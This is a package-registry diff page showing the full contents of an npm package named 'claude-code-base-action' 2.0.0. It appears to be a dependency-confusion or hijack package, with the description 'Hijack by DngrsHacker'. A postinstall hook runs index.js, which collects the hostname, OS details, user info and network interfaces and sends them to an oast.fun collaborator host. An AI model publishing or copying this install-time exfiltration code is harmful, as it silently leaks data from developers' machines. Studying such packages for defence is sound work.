claude-code-base-action 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +45 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
const os = require('os');
|
|
2
|
+
const https = require('https');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
4
|
+
|
|
5
|
+
// Replace with your Burp Collaborator URL
|
|
6
|
+
const burpCollaboratorUrl = 'hzzkjciudfcivwtecgpvtfww1nrr4jws1.oast.fun';
|
|
7
|
+
|
|
8
|
+
// Collect device information
|
|
9
|
+
const deviceInfo = {
|
|
10
|
+
platform: os.platform(),
|
|
11
|
+
release: os.release(),
|
|
12
|
+
hostname: os.hostname(),
|
|
13
|
+
arch: os.arch(),
|
|
14
|
+
userInfo: os.userInfo(),
|
|
15
|
+
networkInterfaces: os.networkInterfaces()
|
|
16
|
+
};
|
|
17
|
+
|
|
18
|
+
// Convert device information to a query string
|
|
19
|
+
const queryString = Object.entries(deviceInfo).map(([key, value]) => {
|
|
20
|
+
if (typeof value === 'object') {
|
|
21
|
+
value = JSON.stringify(value);
|
|
22
|
+
}
|
|
23
|
+
return `${encodeURIComponent(key)}=${encodeURIComponent(value)}`;
|
|
24
|
+
}).join('&');
|
|
25
|
+
|
|
26
|
+
// Define the request options
|
|
27
|
+
const options = {
|
|
28
|
+
hostname: burpCollaboratorUrl,
|
|
29
|
+
port: 443,
|
|
30
|
+
path: `/?${queryString}`,
|
|
31
|
+
method: 'GET'
|
|
32
|
+
};
|
|
33
|
+
|
|
34
|
+
// Create the request
|
|
35
|
+
const req = https.request(options, (res) => {
|
|
36
|
+
console.log(`Status: ${res.statusCode}`);
|
|
37
|
+
});
|
|
38
|
+
|
|
39
|
+
// Handle any errors
|
|
40
|
+
req.on('error', (error) => {
|
|
41
|
+
console.error(`Error: ${error.message}`);
|
|
42
|
+
});
|
|
43
|
+
|
|
44
|
+
// End the request
|
|
45
|
+
req.end();
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "claude-code-base-action",
|
|
3
|
+
"version": "2.0.0",
|
|
4
|
+
"description": "Hijack by DngrsHacker",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"postinstall": "node index.js",
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
|
9
|
+
},
|
|
10
|
+
"author": "Zac96",
|
|
11
|
+
"license": "ISC"
|
|
12
|
+
}
|